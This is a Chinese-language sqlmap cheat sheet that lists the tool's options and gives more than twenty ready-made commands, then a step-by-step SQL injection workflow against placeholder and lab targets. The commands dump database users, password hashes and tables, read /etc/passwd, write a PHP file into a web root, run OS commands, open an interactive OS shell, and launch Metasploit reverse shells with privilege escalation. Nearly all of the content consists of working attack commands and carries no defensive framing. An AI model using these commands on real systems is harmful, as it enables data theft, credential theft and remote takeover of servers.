

-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
-D"" #指定数据库名
-T"" #指定表名
-C"" #指定字段
-s"" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存: -s "xx.log"
恢复:-s "xx.log" --resume)
--level=(1-5)#要执行的测试水平等级,默认为 1
--risk=(0-3) #测试执行的风险等级,默认为 1
--time-sec=(2,5)#延迟响应,默认为 5
--data#通过 POST 发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D"" #列出指定数据库中的表
--columns -T"user"-D"mysql" #列出 mysql 数据库中的 user 表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T""-D""-C"" #列出指定数据库的表的字段的数据(--dump -T users -D
master -C surname)
--dump -T""-D""--start 2 --top4 # 列出指定数据库的表的 2-4 字段的数据
--dbms # 指 定 数 据 库 (MySQL,Oracle,PostgreSQL,Microsoft SQL
Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
 0: 只显示 Python 的回溯,错误和关键消息。
 1: 显示信息和警告消息。
 2: 显示调试消息。
 3: 有效载荷注入。
 4: 显示 HTTP 请求。
 5: 显示 HTTP 响应头。
 6: 显示 HTTP 响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持 union 注入

```

--union-cols#union 查询表记录
--union-test#union 语句测试
--union-use #采用 union 注入
--union-tech orderby#union 配合 order by
--data""#POST 方式提交数据(--data "page=1&id=2")
--cookie" 用 ; 号 分 开 " #cookie 注 入
(--cookies="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low")
--referer"" #使用 referer 欺骗(--referer "http://www.baidu.com")
--user-agent"" #自定义 user-agent
--proxy"http://127.0.0.1:8118"#代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定 sql 命令
--sql-query #执行指定的 sql 语句(--sql-query "SELECT password FROM
mysql.user WHERE user = 'root' LIMIT 0, 1")
--file-read #读取指定文件
--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;
将本地的 test.txt 文件写入到目标的 1.txt)
--file-dest #要写入的文件绝对路径
--os-cmd=id #执行系统命令
--os-shell #系统交互 shell
--os-pwn #反弹 shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #metasploit 绝对路径(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #读取 win 系统注册表
--priv-esc #
--time-sec= #延迟设置 默认--time-sec=5 为 5 秒
-p"user-agent"--user-agent"sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定
user-agent 注入
--eta #盲注

```

```

/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt

```

常用语句

1.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db
```

--users--passwords --dbs -v0

2.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root  
--union-use -v2
```

3.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -Tusers-C username -D  
userdb --start 2 --stop 3 -v2
```

4.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C"user,pass" -v 1  
--exclude-sysdbs
```

5.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v2
```

6.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read"c:\boot.ini"-v2
```

7.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write/test/test.txt  
--file-dest/var/www/html/1.txt -v2
```

8.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd"id"-v1
```

9.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v2
```

10.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn  
--msf-path=/opt/framework/msf3--priv-esc -v1
```

11.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn  
--msf-path=/opt/framework/msf3-v1
```

12.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof  
--msf-path=/opt/framework/msf3-v1
```

13.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add  
--reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap"--reg-value=Test  
--reg-type=REG_SZ --reg-data=1
```

14.

```
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
```

15.

```
./sqlmap.py  
-u"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1"-pid--prefix")"--s  
uffix"AND ('abc'='abc"
```

16.

```
./sqlmap.py  
-u"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"--auth-typeBasic  
--auth-cred"testuser:testpass"
```

17.

```
./sqlmap.py -l burp.log --scope="(www)?\.target\. (com|net|org)"
```

18.

```
./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper  
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v3
```

19.

```
./sqlmap.py  
-u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT  
'foo'" -v1
```

20.

```
./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables  
-D testdb --banner
```

21.

```
./sqlmap.py  
-u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijoc  
bglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p 'uid'
```

简单的注入流程

1. 读取数据库版本，当前用户，当前数据库

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v1
```

2. 判断当前数据库用户权限

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v1
```

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v1
```

3. 读取所有数据库用户或指定数据库用户的密码

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users--passwords -v2
```

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v2
```

4. 获取所有数据库

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v2
```

5. 获取指定数据库中的所有表

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v2
```

6. 获取指定数据库名中指定表的字段

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v2
```

7. 获取指定数据库名中指定表中指定字段的数据

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql  
-T users -C "username,password" -s "sqlmapdb.log" -v2
```

8. file-read 读取 web 文件

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v2
```

9. file-write 写入文件到 web

```
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php  
--file-dest /var/www/html/xx.php -v2
```